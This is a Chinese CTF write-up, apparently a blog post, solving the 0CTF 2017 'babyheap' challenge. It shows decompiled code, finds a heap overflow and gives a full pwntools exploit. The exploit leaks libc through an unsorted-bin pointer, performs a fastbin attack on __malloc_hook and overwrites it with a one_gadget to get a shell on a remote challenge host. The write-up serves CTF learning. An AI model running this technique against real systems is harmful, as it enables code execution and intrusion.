• babyheap_0ctf_2017 | 堆利用技巧 解法详录


    静态分析

    checksec 查看保护机制:

        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    运行程序:

    ===== Baby Heap in 2017 =====
    1. Allocate
    2. Fill
    3. Free
    4. Dump
    5. Exit
    Command: 
    

    典型的菜单题,几个功能分别是分配、填充、释放和输出

    拖入 IDA 64bit 分析,具体函数对应反汇编代码如下:

    Allocate

      for ( i = 0; i <= 15; ++i )
      {
        if ( !*(_DWORD *)(24LL * i + a1) )
        {
          printf("Size: ");
          v2 = readint();                       
          if ( v2 > 0 )
          {
            if ( v2 > 4096 )
              v2 = 4096;
            v3 = calloc(v2, 1uLL);
            if ( !v3 )
              exit(-1);
            *(_DWORD *)(24LL * i + a1) = 1;
            *(_QWORD *)(a1 + 24LL * i + 8) = v2;
            *(_QWORD *)(a1 + 24LL * i + 16) = v3;
            printf("Allocate Index %d
    ", (unsigned int)i);
          }
          return;
        }
      }
    

    v2 是人为输入需要分配的 chunk 大小,基地址在 a1 的索引结构体存放 chunk 信息

    struct chunk {
          long long is_used;
          long long size;
          long long *chunk_addr;
    }
    

    Fill

      printf("Index: ");
      result = readint();
      v2 = result;
      if ( (signed int)result >= 0 && (signed int)result <= 15 )
      {
        result = *(unsigned int *)(24LL * (signed int)result + a1);
        if ( (_DWORD)result == 1 )
        {
          printf("Size: ");
          result = readint();
          v3 = result;
          if ( (signed int)result > 0 )
          {
            printf("Content: ");
            result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
          }
        }
      }
    

    输入 chunk 的 index 并填充自定义长度的内容,存在堆溢出漏洞

    Free

      printf("Index: ");
      result = readint();
      v2 = result;
      if ( (signed int)result >= 0 && (signed int)result <= 15 )
      {
        result = *(unsigned int *)(24LL * (signed int)result + a1);
        if ( (_DWORD)result == 1 )
        {
          *(_DWORD *)(24LL * v2 + a1) = 0;
          *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
          free(*(void **)(24LL * v2 + a1 + 16));
          result = 24LL * v2 + a1;
          *(_QWORD *)(result + 16) = 0LL;
        }
      }
    

    释放堆块函数,输入 index 后判断了索引结构体的 is_used 是否为 1,若是则调用 free() 并清空结构体

    Dump

      printf("Index: ");
      result = readint();
      v2 = result;
      if ( result >= 0 && result <= 15 )
      {
        result = *(_DWORD *)(24LL * result + a1);
        if ( result == 1 )
        {
          puts("Content: ");
          sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
          result = puts(byte_14F1);
        }
      }
    

    输出堆块的内容,考虑可以泄露堆空间上的一些东西

    解题思路

    • 显式存在堆溢出漏洞,可以通过 chunk overlapping(堆块重叠) 构造出 fake chunk(伪堆块),绕过索引的清空

    • 构造 unsorted bin 大小的伪堆块 2,释放后利用其上方的伪堆块 1 输出其 fd 指针指向的 libc 相关地址,泄露 libc 地址

    • 在 libc 函数 __malloc_hook 上方构造 Fake Chunk,再次堆溢出覆写 hook 为 shellcode

    EXP

    from pwn import *
    #io = process(['./babyheap_0ctf_2017'], env={"LD_PRELOAD":"./libc-2.23.so"})
    io = remote('node3.buuoj.cn' ,'25071')
    context.log_level = 'debug'
    def debug():
        gdb.attach(io)
        pause();
    
    def cmd(x):
        io.sendlineafter('Command: ', str(x))
    
    def allocate(size):
        cmd(1)
        io.sendlineafter('Size: ', str(size))
    
    def fill(index, content):
        cmd(2)
        io.sendlineafter('Index: ', str(index))
        io.sendlineafter('Size: ', str(len(content)))
        io.sendlineafter('Content: ',content)
    
    def free(index):
        cmd(3)
        io.sendlineafter('Index: ',str(index))
    
    def dump(index):
        cmd(4)
        io.sendlineafter('Index: ', str(index))
    
    libc = ELF('./libc-2.23.so') 
    
    allocate(0x10)
    allocate(0x10)
    allocate(0x30)
    allocate(0x40)
    allocate(0x60)
    fill(0, p64(0x51)*4)
    fill(2, p64(0x31)*6)
    free(1)
    allocate(0x40)
    fill(1, p64(0x91)*4)
    free(2)
    dump(1)
    
    io.recv(0x32)
    main_arena = u64(io.recv(6).ljust(8, 'x00')) - 88
    log.info('main_arena -> ' + hex(main_arena))
    # cover __malloc_hook
    malloc_hook = main_arena - 0x10
    free(4)
    payload = p64(0)*9 + p64(0x71) + p64(malloc_hook - 0x23)
    # fake chunk3's pre_size is in ( malloc_hook - 0x23 )
    log.info('fake chunk 3 -> ' + hex(malloc_hook - 0x23))
    fill(3, payload)
    allocate(0x60)
    allocate(0x60)
    libc_base = malloc_hook - libc.symbols['__malloc_hook']
    # one_gadget ./libc-2.23.so
    '''
    0x45216 execve("/bin/sh", rsp+0x30, environ)
    constraints:
      rax == NULL
    
    0x4526a execve("/bin/sh", rsp+0x30, environ)
    constraints:
      [rsp+0x30] == NULL
    
    0xf02a4 execve("/bin/sh", rsp+0x50, environ)
    constraints:
      [rsp+0x50] == NULL
    
    0xf1147 execve("/bin/sh", rsp+0x70, environ)
    constraints:
      [rsp+0x70] == NULL
    '''
    one_gadget = p64(libc_base + 0x4526a)
    payload = 'a'*0x13 + one_gadget
    fill(4, payload)
    allocate(1)
    io.interactive()
    

    EXP 详细流程(图解)

    (1)最后分配 0x70 的 chunk,是防止 Top Chunk 向前合并

    由于 free() 会检查当前区块的 size 位后是否是一个区块的 size 位,所以结构要布置成这样

    Top Chunk 合并 fastbin 规则

    然后在下面分配 0x10、0x30、0x40、0x60 的堆块,情况如图:

    (图中未填充数值的即为 0x0)

    填充后伪造出了 Fake Chunk 1 (idx1),将其释放后从 fastbin 0x50 中取出再分配

    (此时索引结构体中记录该 chunk 的 size 已经是 0x40)

    (使用 calloc 分配 chunk 会首先把 content 清零)

    之后继续在 Fake Chunk 1 即 idx 除写入溢出数据,使其覆盖 chunk2 的 size 位为 0x91,伪造出 0x90 大小的 Fake Chunk 2

    由于 0x90 已经超过 global_max_fast,所以 Fake Chunk 2 不会进入 fastbin 而是进入 unsortedbin 并且 fd 指向 main_arena + 88 的位置

    UAF获取main_arena+88地址泄露libc基址

    虽然索引结构体中的 Fake Chunk 2 地址已经无法获取,

    但是我们可以通过正在使用的 Fake Chunk 1 打印出 Chunk 2 的 fd

    由于 main_arena 是 libc 装载在内存中的,或者其内存地址后,

    我们可以通过计算偏移得到 libc 的装载地址

    计算输出有效偏移需要动态调试:

    接受了该地址后即可通过偏移计算出 main_arean 以及其他 libc 符号的装载地址

    通过调试:malloc_hook = main_arena - 0x10

    再往前找发现能在 malloc_hook - 0x23 的地方凑出 size = 0x70 的 chunk 头,size 位为 p64(0x7f)

    以这里为 chunk 头,可以通过 malloc 的验证(详细验证方法需要查阅 glibc 源码)

    并且下一步堆溢出可以覆写 __malloc_hook 成 one_gagdet

    malloc hook初探

    下一次 allcoate 的时候,将会执行 shellcode 从而 GETSHELL

  • 相关阅读:
    Linux文件系统属性权限chattr与lsattr命令
    Linux权限管理之ACL权限
    慈悲
    存在的四个象限
    白细胞低的原因
    释放能量和注意力
    [C#] 走进异步编程的世界
    改变世界的工程师:荣耀背后深刻着孤独
    分享基于EF+MVC+Bootstrap的通用后台管理系统及架构(转)
    如何拿到半数面试公司Offer——我的Python求职之路(转)
  • 原文地址:https://www.cnblogs.com/zhwer/p/13950309.html
Copyright © 2020-2023  润新知